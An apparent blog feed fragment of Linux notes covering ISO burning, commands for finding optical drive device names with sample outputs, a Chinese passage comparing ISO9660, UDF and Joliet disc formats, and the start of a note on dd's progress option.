&amp;#x2F;dev&amp;#x2F;sr0: flushing cache
&amp;#x2F;dev&amp;#x2F;sr0: closing track
&amp;#x2F;dev&amp;#x2F;sr0: closing disc
&amp;#x2F;dev&amp;#x2F;sr0: reloading tray
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;On pressing the &lt;em&gt;Return&lt;&#x2F;em&gt; key, the burning process will start displaying its progress in the terminal. Notably, when the process is done, the DVD ejects automatically.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-conclusion&quot;&gt;5. Conclusion&lt;&#x2F;h3&gt;
&lt;p&gt;In this article, we saw how to burn an ISO file to a CD or DVD in the Linux terminal using two commands.&lt;&#x2F;p&gt;
&lt;p&gt;First, we burned an ISO image to a DVD using the &lt;em&gt;wodim&lt;&#x2F;em&gt; command. After that, we did the same using the
&lt;em&gt;growisofs&lt;&#x2F;em&gt;
command
.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;linux-find-out-name-of-dvd-cd-rom-blu-ray-writer-device&quot;&gt;Linux Find Out Name Of DVD  CD-ROM  Blu-ray Writer Device&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;&quot;&gt;nixCraft&lt;&#x2F;a&gt;→&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;&quot;&gt;Howto&lt;&#x2F;a&gt;→&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;linux&#x2F;&quot;&gt;Linux&lt;&#x2F;a&gt;→How to find the name of DVD &#x2F; CD-ROM &#x2F; Blu-ray on Linux&lt;&#x2F;p&gt;
&lt;h3 id=&quot;linux-find-out-name-of-dvd-cd-rom-blu-ray-writer-device-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;linux-find-out-the-name-of-dvd-cd-rom-writer-blu-ray-device&#x2F;&quot;&gt;Linux Find Out Name Of DVD &#x2F; CD-ROM &#x2F; Blu-ray Writer Device&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Author:
Vivek Gite
Last updated:
July 31, 2024
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;linux-find-out-the-name-of-dvd-cd-rom-writer-blu-ray-device&#x2F;#comments&quot;&gt;8 comments&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cd-dvd-debian-wiki&#x2F;linux-logo.webp&quot; alt=&quot;See all GNU&#x2F;Linux related FAQ&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all GNU&#x2F;Linux related FAQ&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;linux&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;linux&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;H
ow do I find out what the name of my CD-ROM or DVD device  or Blu-ray device is under Linux operating system without using GUI options?
You can type the following command to see current information about installed and detected CDROM or DVD-writers under Linux operating systems:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;kbd&gt;dmesg&lt;&#x2F;kbd&gt; command can be used to check if given hardware or device was identified correctly by the Linux kernel.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;kbd&gt;&#x2F;proc&#x2F;sys&#x2F;dev&#x2F;cdrom&#x2F;info&lt;&#x2F;kbd&gt; file name.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;kbd&gt;lsblk&lt;&#x2F;kbd&gt; command.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;kbd&gt;blkid&lt;&#x2F;kbd&gt; command.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;kbd&gt;cd-drive&lt;&#x2F;kbd&gt; command.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Tutorial details&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Difficulty level&lt;&#x2F;td&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all Easy Linux &#x2F; Unix System Administrator Tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;tag&#x2F;easy&#x2F;&quot;&gt;Easy&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Root privileges&lt;&#x2F;td&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See how to login as root user&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;how-can-i-log-in-as-root&#x2F;&quot;&gt;Yes&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Requirements&lt;&#x2F;td&gt;&lt;td&gt;Linux terminal&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Category&lt;&#x2F;td&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See ALL other tutorials in &#x27;System Management&#x27; category&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;linux-find-out-the-name-of-dvd-cd-rom-writer-blu-ray-device&#x2F;#System_Management&quot;&gt;System Management&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OS compatibility&lt;&#x2F;td&gt;&lt;td&gt;AlmaLinux • &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all Alpine Linux tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;alpine-linux&#x2F;&quot;&gt;Alpine&lt;&#x2F;a&gt; • &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all Arch Linux tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;arch-linux&#x2F;&quot;&gt;Arch&lt;&#x2F;a&gt; • &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all CentOS Linux 6&#x2F;7&#x2F;x or older version tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;centos&#x2F;&quot;&gt;CentOS&lt;&#x2F;a&gt; • &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all Debian Linux tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;debian-ubuntu&#x2F;&quot;&gt;Debian&lt;&#x2F;a&gt; • &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all Fedora Linux Enterprise tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;fedora-linux&#x2F;&quot;&gt;Fedora&lt;&#x2F;a&gt; • &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all Linux distributions tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;linux&#x2F;&quot;&gt;Linux&lt;&#x2F;a&gt; •Mint• &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all openSUSE Linux Enterprise tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;tag&#x2F;opensuse&#x2F;&quot;&gt;openSUSE&lt;&#x2F;a&gt; •Pop!_OS• &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all RHEL (Red Hat Enterprise Linux) tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;redhat-and-friends&#x2F;&quot;&gt;RHEL&lt;&#x2F;a&gt; •Rocky• &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all CentOS Stream Linux tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;tag&#x2F;centos-stream&#x2F;&quot;&gt;Stream&lt;&#x2F;a&gt; • &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all SUSE Linux Enterprise tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;suse&#x2F;&quot;&gt;SUSE&lt;&#x2F;a&gt; • &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;See all Ubuntu Linux tutorials&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;category&#x2F;ubuntu-linux&#x2F;&quot;&gt;Ubuntu&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Est. reading time&lt;&#x2F;td&gt;&lt;td&gt;2 minutes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;using-dmesg-command-to-find-out-name-of-dvd-cd-rom-blu-ray-writer-device&quot;&gt;Using dmesg command to find out name of DVD &#x2F; CD-ROM &#x2F; Blu-ray writer device&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cd-dvd-debian-wiki&#x2F;dmesg-find-cdrom-device.webp&quot; alt=&quot;Linux Command To Find Out Name Of DVD CD-ROM Blu-ray Writer Device&quot; &#x2F;&gt;
The dmesg command is used to examine the Linux kernel ring buffer i.e. display bootup messages on screen. To find out if cdrom was detected or not, run:
&lt;code&gt;$ dmesg | grep -E -i --color &amp;amp;#39;cdrom|dvd|cd&#x2F;rw|writer&amp;amp;#39;&lt;&#x2F;code&gt;
Sample outputs:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[    5.437164] sr0: scsi3-mmc drive: 24x&amp;#x2F;24x writer dvd-ram cd&amp;#x2F;rw xa&amp;#x2F;form2 cdda tray
[    5.437307] cdrom: Uniform CD-ROM driver Revision: 3.20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this output sr0 is my cdrom &#x2F; dvd reader and writer. You can see more detailed information by typing the following &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Less command - Linux Bash Shell Scripting Tutorial Wiki&quot; href=&quot;https:&#x2F;&#x2F;bash.cyberciti.biz&#x2F;guide&#x2F;Less_command&quot;&gt;less command&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;More command - Linux Bash Shell Scripting Tutorial Wiki&quot; href=&quot;https:&#x2F;&#x2F;bash.cyberciti.biz&#x2F;guide&#x2F;More_command&quot;&gt;more command&lt;&#x2F;a&gt;&lt;code&gt;$ less &#x2F;proc&#x2F;sys&#x2F;dev&#x2F;cdrom&#x2F;info&lt;&#x2F;code&gt;
OR
&lt;code&gt;$ more &#x2F;proc&#x2F;sys&#x2F;dev&#x2F;cdrom&#x2F;info&lt;&#x2F;code&gt;
Sample outputs:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;CD-ROM information, Id: cdrom.c 3.20 2003&amp;#x2F;12&amp;#x2F;17

drive name:		sr0
drive speed:		24
drive # of slots:	1
Can close tray:		1
Can open tray:		1
Can lock tray:		1
Can change speed:	1
Can select disk:	0
Can read multisession:	1
Can read MCN:		1
Reports media changed:	1
Can play audio:		1
Can write CD-R:		1
Can write CD-RW:	1
Can read DVD:		1
Can write DVD-R:	1
Can write DVD-RAM:	1
Can read MRW:		1
Can write MRW:		1
Can write RAM:		1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;using-cd-drive-command-to-find-name-of-your-dvd-cd-rom-blu-ray-device-on-linux&quot;&gt;Using cd-drive command to find name of your DVD &#x2F; CD-ROM &#x2F; Blu-ray device on Linux&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;Prerequisite&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;By default,&lt;&#x2F;p&gt;
&lt;p&gt;cd-drive command may not be installed on your system. Hence, use the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;10 Alpine Linux apk Command Examples&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;10-alpine-linux-apk-command-examples&#x2F;&quot;&gt;apk command&lt;&#x2F;a&gt; on Alpine Linux, dnf command&#x2F;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;How to use the yum command on Linux (CentOS&#x2F;RHEL)&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;rhel-centos-fedora-linux-yum-command-howto&#x2F;&quot;&gt;yum command&lt;&#x2F;a&gt; on RHEL &amp;amp; co, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;apt Command Examples for Ubuntu&#x2F;Debian Linux&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;ubuntu-lts-debian-linux-apt-command-examples&#x2F;&quot;&gt;apt command&lt;&#x2F;a&gt;&#x2F;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Ubuntu&#x2F;Debian Linux apt-get package management cheat sheet&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;tips&#x2F;linux-debian-package-management-cheat-sheet.html&quot;&gt;apt-get command&lt;&#x2F;a&gt; on Debian, Ubuntu &amp;amp; co, zypper command on SUSE&#x2F;OpenSUSE, pacman command on Arch Linux to install the cd-drive.First, install the cd-drive as follows using the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;apt Command Examples for Ubuntu&#x2F;Debian Linux&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;ubuntu-lts-debian-linux-apt-command-examples&#x2F;&quot;&gt;apt command&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Ubuntu&#x2F;Debian Linux apt-get package management cheat sheet&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;tips&#x2F;linux-debian-package-management-cheat-sheet.html&quot;&gt;apt-get command&lt;&#x2F;a&gt; on your Debian or Ubuntu Linux machine:
&lt;code&gt;$ sudo apt install libcdio-utils #&amp;lt;--Debian&#x2F;Ubuntu&lt;&#x2F;code&gt;
Next, to see CD-ROM drive characteristics information, enter:
&lt;code&gt;$ cd-drive &lt;&#x2F;code&gt;
Here is what I see on my Linux desktop:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cd-drive version 0.81 x86_64-pc-linux-gnu
Copyright (c) 2003, 2004, 2005, 2007, 2008 R. Bernstein
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
The driver selected is GNU&amp;#x2F;Linux
The default device for this driver is &amp;#x2F;dev&amp;#x2F;cdrom

Drivers available...
  GNU&amp;#x2F;Linux ioctl and MMC driver
  cdrdao (TOC) disk image driver
  bin&amp;#x2F;cuesheet disk image driver
  Nero NRG disk image driver

CD-ROM drive supports some nonstandard or degenerate set of MMC

                       Drive: &amp;#x2F;dev&amp;#x2F;cdrom
Vendor                      : MATSHITA
Model                       : BD-RE UJ232A
Revision                    : 1.10
Profile List Feature
	Unknown Profile 41
	Unknown Profile 42
	Unknown Profile 43
	Unknown Profile 40
	Re-writable DVD
	DVD+R - DVD Recordable
	DVD+RW - DVD ReWritable
	Re-recordable DVD using Restricted Overwrite
	Re-recordable DVD using Sequential recording
	Re-recordable DVD using Sequential recording
	Read only DVD
	CD-RW Re-writable Compact Disc capable
	Write once Compact Disc capable
	Read only Compact Disc capable

Core Feature

Morphing Feature
	Operational Change Request&amp;#x2F;Notification supported
	Synchronous GET EVENT&amp;#x2F;STATUS NOTIFICATION supported

Removable Medium Feature
	Tray type loading mechanism
	can eject the medium or magazine via the normal START&amp;#x2F;STOP command
	can be locked into the Logical Unit

Write Protect Feature

Random Readable Feature

Multi-Read Feature

CD Read Feature
	C2 Error pointers are supported
	CD-Text is supported

DVD Read Feature

Random Writable Feature

Incremental Streaming Writable Feature

Formattable Feature

Management Ability of the Logical Unit&amp;#x2F;media system to provide an apparently defect-free space. Feature

Restricted Overwrite Feature

DVD+RW Feature

DVD+R Feature

Rigid Restricted Overwrite Feature

CD Track at Once Feature

CD Mastering (Session at Once) Feature

DVD-R&amp;#x2F;RW Write Feature

Unknown code 34 Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Profile List Feature

Hardware                                  : CD-ROM or DVD
Can eject                                 : Yes
Can close tray                            : Yes
Can disable manual eject                  : Yes
Can select juke-box disc                  : No

Can set drive speed                       : No
Can read multiple sessions (e.g. PhotoCD) : Yes
Can hard reset device                     : Yes

Reading....
  Can read Mode 2 Form 1                  : Yes
  Can read Mode 2 Form 2                  : Yes
  Can read (S)VCD (i.e. Mode 2 Form 1&amp;#x2F;2)  : Yes
  Can read C2 Errors                      : Yes
  Can read IRSC                           : Yes
  Can read Media Channel Number (or UPC)  : Yes
  Can play audio                          : Yes
  Can read CD-DA                          : Yes
  Can read CD-R                           : Yes
  Can read CD-RW                          : Yes
  Can read DVD-ROM                        : Yes

Writing....
  Can write CD-RW                         : Yes
  Can write DVD-R                         : Yes
  Can write DVD-RAM                       : Yes
  Can write DVD-RW                        : No
  Can write DVD+RW                        : No

CD-ROM drive supports some nonstandard or degenerate set of MMC

                       Drive: &amp;#x2F;dev&amp;#x2F;sr0
Vendor                      : MATSHITA
Model                       : BD-RE UJ232A
Revision                    : 1.10
Profile List Feature
	Unknown Profile 41
	Unknown Profile 42
	Unknown Profile 43
	Unknown Profile 40
	Re-writable DVD
	DVD+R - DVD Recordable
	DVD+RW - DVD ReWritable
	Re-recordable DVD using Restricted Overwrite
	Re-recordable DVD using Sequential recording
	Re-recordable DVD using Sequential recording
	Read only DVD
	CD-RW Re-writable Compact Disc capable
	Write once Compact Disc capable
	Read only Compact Disc capable

Core Feature

Morphing Feature
	Operational Change Request&amp;#x2F;Notification supported
	Synchronous GET EVENT&amp;#x2F;STATUS NOTIFICATION supported

Removable Medium Feature
	Tray type loading mechanism
	can eject the medium or magazine via the normal START&amp;#x2F;STOP command
	can be locked into the Logical Unit

Write Protect Feature

Random Readable Feature

Multi-Read Feature

CD Read Feature
	C2 Error pointers are supported
	CD-Text is supported

DVD Read Feature

Random Writable Feature

Incremental Streaming Writable Feature

Formattable Feature

Management Ability of the Logical Unit&amp;#x2F;media system to provide an apparently defect-free space. Feature

Restricted Overwrite Feature

DVD+RW Feature

DVD+R Feature

Rigid Restricted Overwrite Feature

CD Track at Once Feature

CD Mastering (Session at Once) Feature

DVD-R&amp;#x2F;RW Write Feature

Unknown code 34 Feature

Vendor-specific code f048 Feature

Vendor-specific code 473e Feature

Vendor-specific code eaff Feature

Vendor-specific code a4ab Feature

Vendor-specific code eaff Feature

Hardware                                  : CD-ROM or DVD
Can eject                                 : Yes
Can close tray                            : Yes
Can disable manual eject                  : Yes
Can select juke-box disc                  : No

Can set drive speed                       : No
Can read multiple sessions (e.g. PhotoCD) : Yes
Can hard reset device                     : Yes

Reading....
  Can read Mode 2 Form 1                  : Yes
  Can read Mode 2 Form 2                  : Yes
  Can read (S)VCD (i.e. Mode 2 Form 1&amp;#x2F;2)  : Yes
  Can read C2 Errors                      : Yes
  Can read IRSC                           : Yes
  Can read Media Channel Number (or UPC)  : Yes
  Can play audio                          : Yes
  Can read CD-DA                          : Yes
  Can read CD-R                           : Yes
  Can read CD-RW                          : Yes
  Can read DVD-ROM                        : Yes

Writing....
  Can write CD-RW                         : Yes
  Can write DVD-R                         : Yes
  Can write DVD-RAM                       : Yes
  Can write DVD-RW                        : No
  Can write DVD+RW                        : No
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;using-linux-lsblk-command-to-list-dvd-cd-rom-blu-ray-writer-device&quot;&gt;Using Linux lsblk command to list DVD &#x2F; CD-ROM &#x2F; Blu-ray writer device&lt;&#x2F;h3&gt;
&lt;p&gt;To list all block devices type the lsblk command:
&lt;code&gt;# lsblk&lt;&#x2F;code&gt;
Sample outputs:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda      8:0    1   558G  0 disk
├─sda1   8:1    1   307M  0 part &amp;#x2F;boot
├─sda2   8:2    1   250G  0 part &amp;#x2F;datasql
├─sda3   8:3    1     6G  0 part [SWAP]
├─sda4   8:4    1     1K  0 part
└─sda5   8:5    1 301.7G  0 part &amp;#x2F;
sr0     11:0    1  1024M  0 rom
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;using-the-blkid-command-to-find-the-name-of-dvd-cd-rom-blu-ray-on-linux&quot;&gt;Using the blkid command to find the name of DVD &#x2F; CD-ROM &#x2F; Blu-ray on Linux&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;Insert the DVD &#x2F; CD-ROM &#x2F; Blu-ray into your Linux computer.&lt;&#x2F;li&gt;
&lt;li&gt;Type the following command at the CLI to fetch a list all the available block devices on your machine. For example:
&lt;code&gt;$ blkid&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Look for DVD&#x2F;Blu-ray&#x2F;CD-ROM device name such as &#x2F;dev&#x2F;cdrom or &#x2F;dev&#x2F;sr0 and so on.&lt;&#x2F;li&gt;
&lt;li&gt;Once you have the name of the Linux DVD &#x2F; CD-ROM &#x2F; Blu-ray drive, you can use it to mount the disc to access its contents. For example, to mount an ISO image from a DVD, you can use the following command:
&lt;code&gt;$ sudo mkdir &#x2F;mnt&#x2F;dvd-rom $ sudo mount &#x2F;dev&#x2F;sr0 &#x2F;mnt&#x2F;dvd-rom $ ls &#x2F;mnt&#x2F;dvd-rom&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;summing-up&quot;&gt;Summing up&lt;&#x2F;h3&gt;
&lt;p&gt;And that is how you list or find out your DVD&#x2F;CD-ROM or Blu-ray device names under Linux. Read the following manual pages using the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Man command - Linux Bash Shell Scripting Tutorial Wiki&quot; href=&quot;https:&#x2F;&#x2F;bash.cyberciti.biz&#x2F;guide&#x2F;Man_command&quot;&gt;man command&lt;&#x2F;a&gt; or info command&#x2F;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;help command - Linux Bash Shell Scripting Tutorial Wiki&quot; href=&quot;https:&#x2F;&#x2F;bash.cyberciti.biz&#x2F;guide&#x2F;Help_command&quot;&gt;help command&lt;&#x2F;a&gt; for more info:
&lt;code&gt;$ man dmesg $ man lsblk $ man blkid $ man mount&lt;&#x2F;code&gt;
中的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E5%99%A8&amp;amp;spm=1001.2101.3001.7020&quot;&gt;资源管理器&lt;&#x2F;a&gt;就能进行烧录，不会象使用ISO映像文件进行烧录时，每次完毕后都要进行关闭区段(Close Session)的操作，减少了烧录失败的机率。目前使用UDF技术的软件也都支持对CD-RW盘片的烧录，但在一些细节上有所不同，如删除的文件真的是被删除而不再是欺骗操作系统了
。不过，&lt;strong&gt;在增加便利性的同时UDF也减少了有效存储空间，而且还要事先将CD-R与CD-RW盘片进行格式化，其中CD-RW盘片格式化后的容量要减少近100MB&lt;&#x2F;strong&gt;，所以大家要视情使用。另外，它还有一种派生的格式，即UDF&#x2F;ISO，用UDF的技术制作ISO标准
的光盘。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;liang-zhe-de-qu-bie&quot;&gt;两者的区别：&lt;&#x2F;h3&gt;
&lt;p&gt;ISO 不支持单个大于2G的文件&lt;&#x2F;p&gt;
&lt;p&gt;UDF 支持2G大小以上文件&lt;&#x2F;p&gt;
&lt;p&gt;ISO 兼容性好&lt;&#x2F;p&gt;
&lt;p&gt;UDF DOS和Win98系统不支持此格式，2000和XP以上系统和MAC系统支持&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kuo-zhan-iso9660-joliethe-romeowen-jian-xi-tong&quot;&gt;扩展ISO9660----Joliet和Romeo文件系统&lt;&#x2F;h3&gt;
&lt;p&gt;在ISO9660中有一些限制，如字符设置限制，文件名长度限制和目录树深度限制.这些规定阻碍了用户复制数据到可被不同计算机平台读取的CD-ROM.因此，一些操作系统出售商已经以几种方式扩展ISO9660.&lt;&#x2F;p&gt;
&lt;p&gt;Joliet文件系统是扩展文件系统之一，由Microsoft提出和实现.它以ISO9660(1988)标准为基础。如果一CD是用Joliet文件系统创建，它只能在window 9x和window NT4.0 或更新版下读取，但是不能在任何其它平台上读取。在Joliet文件系统下，长文件名允许字符数最多为64，长目录允许数目最多为64。但是，文件名加它的完全路径总字符数不能超过120。&lt;&#x2F;p&gt;
&lt;p&gt;Romeo只定义为window9x长文件名，最多128字符。&lt;&#x2F;p&gt;
&lt;p&gt;转自：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;udf iso9660 java_ISO和UDF光盘格式、扩展ISO9660----Joliet和Romeo文件系统_焦虑中的博客-CSDN博客&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;weixin_28681379&#x2F;article&#x2F;details&#x2F;114860181&quot;&gt;udf iso9660 java_ISO和UDF光盘格式、扩展ISO9660----Joliet和Romeo文件系统_焦虑中的博客-CSDN博客&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux dd Command Show Progress Copy Bar With Status</title>
        <published>2024-12-12T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-dd-command-show-progress-copy-bar-with-status/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-dd-command-show-progress-copy-bar-with-status/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-dd-command-show-progress-copy-bar-with-status/">&lt;h1 id=&quot;linux-dd-command-show-progress-copy-bar-with-status&quot;&gt;Linux dd Command Show Progress Copy Bar With Status&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;WARNING!&lt;&#x2F;strong&gt;
These examples may crash your computer and may result into data loss if not executed with care. The nixCraft or author is not responsible for data loss.&lt;&#x2F;p&gt;
&lt;p&gt;You need to use gnu dd command from coreutils version 8.24 or above to use the following option. The syntax is as follows to show progress copy bar with dd command:
&lt;code&gt;# dd if=&#x2F;path&#x2F;to&#x2F;input of=&#x2F;path&#x2F;to&#x2F;output status=progress&lt;&#x2F;code&gt;
Let us pass the progress option to see periodic transfer statistics using GNU dd command:
&lt;code&gt;# dd if=&#x2F;dev&#x2F;sda of=&#x2F;dev&#x2F;sdb bs=1024k status=progress&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-dd-progress&#x2F;dd-status-progress-bar.gif&quot; alt=&quot;Linux monitor the progress of dd command&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Gif.01: Linux monitor the progress of dd command&lt;&#x2F;p&gt;
